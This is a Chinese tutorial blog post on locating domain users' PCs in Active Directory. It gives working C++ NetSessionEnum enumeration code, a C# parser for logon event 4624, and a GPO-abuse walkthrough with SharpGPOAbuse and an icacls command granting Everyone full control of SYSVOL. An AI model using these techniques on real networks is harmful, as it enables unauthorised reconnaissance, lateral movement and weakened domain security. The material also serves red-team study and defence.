0

0

域内定位个人PC的三种方式

星夢妙者

星夢妙者

发布时间:2025-08-28 10:48:51

|

510人浏览过

|

来源于php中文网

原创

会话搜集

在cmd下调用

query session
命令可以获得当前环境下的windows会话

域内定位个人PC的三种方式
NetSessionEnum

这个函数不允许直接查询是谁登陆,但是它允许查询是谁在访问此工作站的网络资源时所创建的网络会话,从而知道来自何处,此函数不需要高权限即可查询

代码语言:javascript代码运行次数:0运行复制
NET_API_STATUS NET_API_FUNCTION NetSessionEnum(  [in]      LMSTR   servername,  [in]      LMSTR   UncClientName,  [in]      LMSTR   username,  [in]      DWORD   level,  [out]     LPBYTE  *bufptr,  [in]      DWORD   prefmaxlen,  [out]     LPDWORD entriesread,  [out]     LPDWORD totalentries,  [in, out] LPDWORD resume_handle);

第一个参数是

servername
,我们可以通过
servername
指定一个远程的主机,然后这个 API 会去调用远程主机的 RPC,然后返回其他用户在访问这台远程主机的网络资源时所创建的网络会话,从而可以看到这个用户来自何处

该 API 并不能查询到是谁登陆了这台远程主机,但是可以看到访问这台远程主机的网络资源时所创建的网络会话。从这个网络会话中可以看到哪个域用户来自哪个 IP,并且该 API 不需要在远程主机上有管理员权限

返回值有点特殊,

NERR_Success
ERROR_MORE_DATA
都是证明函数使用成功

域内定位个人PC的三种方式

level
的数值需要设置为10,是唯一以未经身份验证的方式就可以获取所需数据的级别

域内定位个人PC的三种方式

通过wireshark抓包可以得到

NetSessionEnum
分为6步操作

与远程主机建立 SMB 连接(Kerberos 身份验证)连接到
IPC$
共享打开
srvsvc
命名管道
srvsvc
使用其 UUID绑定到接口
4b324fc8-1670-01d3-1278-5a47bf6ee188
查询
NetSessionEnum
关闭并注销
域内定位个人PC的三种方式

实现代码

代码语言:javascript代码运行次数:0运行复制
// FindADPC.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include #ifndef UNICODE#define UNICODE#endif#pragma comment(lib, "Netapi32.lib")#pragma warning(disable:4996)#include #include #include  #include #include int session_enum(LPTSTR pszServerName) {    NET_API_STATUS nStatus;    LPSESSION_INFO_10 pBuf = NULL;    LPSESSION_INFO_10 pTmpBuf;    DWORD dwLevel = 10;    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;    DWORD dwEntriesRead = 0;    DWORD dwTotalEntries = 0;    DWORD dwResumeHandle = 0;    DWORD i;    DWORD dwTotalCount = 0;       do     {        nStatus = NetSessionEnum(pszServerName,            NULL,            NULL,            dwLevel,            (LPBYTE*)&pBuf,            dwPrefMaxLen,            &dwEntriesRead,            &dwTotalEntries,            &dwResumeHandle);        if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))        {            if ((pTmpBuf = pBuf) != NULL)            {                              for (i = 0; (i < dwEntriesRead); i++)                {                    assert(pTmpBuf != NULL);                    if (pTmpBuf == NULL)                    {                        fprintf(stderr, "An access violation has occurred\n");                        break;                    }                                      SYSTEMTIME sys;                    GetLocalTime(&sys);                    char current_time[64] = { NULL };                    sprintf(current_time, "%4d-%02d-%02d %02d:%02d:%02d ", sys.wYear, sys.wMonth, sys.wDay, sys.wHour, sys.wMinute, sys.wSecond);                    printf("[%s]  [%ws]  [%ws]  [%ws]\n", current_time, pszServerName, pTmpBuf->sesi10_cname, pTmpBuf->sesi10_username);                                       pTmpBuf++;                    dwTotalCount++;                }            }        }             else            fprintf(stderr, "A system error has occurred: %d\n", nStatus);               if (pBuf != NULL)        {            NetApiBufferFree(pBuf);            pBuf = NULL;        }    }while (nStatus == ERROR_MORE_DATA);     if (pBuf != NULL)        NetApiBufferFree(pBuf);    return 0;}int wmain(int argc, wchar_t* argv[]){    if (argc == 1)     {        printf("\nUsing:\n\t FindADPC.exe \\\\dc1 \n");        return 0;    }    while (true)    {        for (size_t i = 0; i < argc; i++)        {            if (i == 0)             {                continue;            }            session_enum(argv[i]);        }        Sleep(5000);    }    return 0;}

实现效果

KGOGOMALL
KGOGOMALL

主要功能:无限级分类,可自由调整分类位置,商品可在各分类间自由转移; 商品组合:可以为每种商品添加多种选项,方便顾客购买选择,比如:一件衣服顾客可以选择款式、花色、大小等,笔记本电脑,可以有cpu、内存、显示屏、硬盘等等扩展属性; 会员分级功能,会员积分功能。可根据会员积分自行设定用户组,管理员可自行定义会员获得积分的方式:按订单总金额或者按单个商品给予积分; 按照商品类别查看热卖、特价,允

下载
域内定位个人PC的三种方式
查询域控4624登录成功日志 代码语言:javascript代码运行次数:0运行复制
using System;using System.Collections.Generic;using System.Diagnostics;using System.Linq;using System.Text;namespace EventLog4624{    class Program    {        static void Main(string[] args)        {            EventLog_4624();        }        public static string MidStrEx(string sourse, string startstr, string endstr)        {            string result = string.Empty;            int startindex, endindex;            startindex = sourse.IndexOf(startstr);            if (startindex == -1)                return result;            string tmpstr = sourse.Substring(startindex + startstr.Length);            endindex = tmpstr.IndexOf(endstr);            if (endindex == -1)                return result;            result = tmpstr.Remove(endindex);            return result;        }        public static void EventLog_4624()        {            EventLog log = new EventLog("Security");            var entries = log.Entries.Cast().Where(x => x.InstanceId == 4624);            entries.Select(x => new            {                x.MachineName,                x.Site,                x.Source,                x.Message,                x.TimeGenerated            }).ToList();            foreach (EventLogEntry log1 in entries)            {                string text = log1.Message;                string ipaddress = MidStrEx(text, " 源网络地址: ", " 源端口:");                string username = MidStrEx(text, "新登录:", "进程信息:");                username = MidStrEx(username, " 帐户名:  ", " 帐户域:  ");                DateTime Time = log1.TimeGenerated;                if (ipaddress.Length >= 7)                {                    Console.WriteLine("\r\n-----------------------------------");                    Console.WriteLine("Time: " + Time);                    Console.WriteLine("Username: " + username.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));                    Console.WriteLine("Remote IP: " + ipaddress.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));                }            }        }    }}
域内定位个人PC的三种方式
gpo下发query user写log到sysvol

GPO(Group Policy Object)是 Windows 中的一种管理技术,用于管理域中用户和计算机的设置。通过 GPO,管理员可以下发策略来配置用户和计算机的系统设置,以实现统一的管理和控制。

在 GPO 管理环境下,管理员可以使用 query user 命令来查询当前连接到计算机的用户的信息。query user 命令可以查询用户的登录时间、登录状态、连接状态等信息。

管理员可以将 query user 命令的输出写入到 sysvol 目录中,以便对用户登录情况进行记录和统计。sysvol 目录是 Windows 中一个共享目录,用于存储域控制器上的组策略文件。管理员可以将 query user 命令的输出信息写入到 sysvol 目录中,以便通过域控制器来管理和访问这些信息。

创建组策略

代码语言:javascript代码运行次数:0运行复制
Import-Module GroupPolicy;new-gpo -name QueryDomainUser01
域内定位个人PC的三种方式

连接到域

代码语言:javascript代码运行次数:0运行复制
powershell Import-Module GroupPolicy;new-gplink -name QueryDomainUser01 -Target "dc=god,dc=org"
域内定位个人PC的三种方式

修改

sysvol
的权限

代码语言:javascript代码运行次数:0运行复制
icacls c:\windows\sysvol\ /grant Everyone:(OI)(CI)(F) /T
域内定位个人PC的三种方式
域内定位个人PC的三种方式

下发执行

代码语言:javascript代码运行次数:0运行复制
SharpGPOAbuse.exe --AddComputerTask --TaskName "QueryDomainUser001" --Author owa\\administrator --Command "cmd.exe" --Arguments "cmd /c query user > \\owa\sysvol\%COMPUTERNAME%.txt" --GPOName "QueryDomainUser01"

强制执行

代码语言:javascript代码运行次数:0运行复制
gpupdate /force
域内定位个人PC的三种方式

相关专题

更多
js获取数组长度的方法
js获取数组长度的方法

在js中,可以利用array对象的length属性来获取数组长度,该属性可设置或返回数组中元素的数目,只需要使用“array.length”语句即可返回表示数组对象的元素个数的数值,也就是长度值。php中文网还提供JavaScript数组的相关下载、相关课程等内容,供大家免费下载使用。

541

2023.06.20

js刷新当前页面
js刷新当前页面

js刷新当前页面的方法:1、reload方法,该方法强迫浏览器刷新当前页面,语法为“location.reload([bForceGet]) ”;2、replace方法,该方法通过指定URL替换当前缓存在历史里(客户端)的项目,因此当使用replace方法之后,不能通过“前进”和“后退”来访问已经被替换的URL,语法为“location.replace(URL) ”。php中文网为大家带来了js刷新当前页面的相关知识、以及相关文章等内容

372

2023.07.04

js四舍五入
js四舍五入

js四舍五入的方法:1、tofixed方法,可把 Number 四舍五入为指定小数位数的数字;2、round() 方法,可把一个数字舍入为最接近的整数。php中文网为大家带来了js四舍五入的相关知识、以及相关文章等内容

727

2023.07.04

js删除节点的方法
js删除节点的方法

js删除节点的方法有:1、removeChild()方法,用于从父节点中移除指定的子节点,它需要两个参数,第一个参数是要删除的子节点,第二个参数是父节点;2、parentNode.removeChild()方法,可以直接通过父节点调用来删除子节点;3、remove()方法,可以直接删除节点,而无需指定父节点;4、innerHTML属性,用于删除节点的内容。

470

2023.09.01

JavaScript转义字符
JavaScript转义字符

JavaScript中的转义字符是反斜杠和引号,可以在字符串中表示特殊字符或改变字符的含义。本专题为大家提供转义字符相关的文章、下载、课程内容,供大家免费下载体验。

391

2023.09.04

js生成随机数的方法
js生成随机数的方法

js生成随机数的方法有:1、使用random函数生成0-1之间的随机数;2、使用random函数和特定范围来生成随机整数;3、使用random函数和round函数生成0-99之间的随机整数;4、使用random函数和其他函数生成更复杂的随机数;5、使用random函数和其他函数生成范围内的随机小数;6、使用random函数和其他函数生成范围内的随机整数或小数。

990

2023.09.04

如何启用JavaScript
如何启用JavaScript

JavaScript启用方法有内联脚本、内部脚本、外部脚本和异步加载。详细介绍:1、内联脚本是将JavaScript代码直接嵌入到HTML标签中;2、内部脚本是将JavaScript代码放置在HTML文件的`<script>`标签中;3、外部脚本是将JavaScript代码放置在一个独立的文件;4、外部脚本是将JavaScript代码放置在一个独立的文件。

653

2023.09.12

Js中Symbol类详解
Js中Symbol类详解

javascript中的Symbol数据类型是一种基本数据类型,用于表示独一无二的值。Symbol的特点:1、独一无二,每个Symbol值都是唯一的,不会与其他任何值相等;2、不可变性,Symbol值一旦创建,就不能修改或者重新赋值;3、隐藏性,Symbol值不会被隐式转换为其他类型;4、无法枚举,Symbol值作为对象的属性名时,默认是不可枚举的。

544

2023.09.20

php源码安装教程大全
php源码安装教程大全

本专题整合了php源码安装教程,阅读专题下面的文章了解更多详细内容。

7

2025.12.31

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Go语言实战之 GraphQL
Go语言实战之 GraphQL

共10课时 | 0.8万人学习

微信小程序开发之API篇
微信小程序开发之API篇

共15课时 | 1.2万人学习

Laravel---API接口
Laravel---API接口

共7课时 | 0.6万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号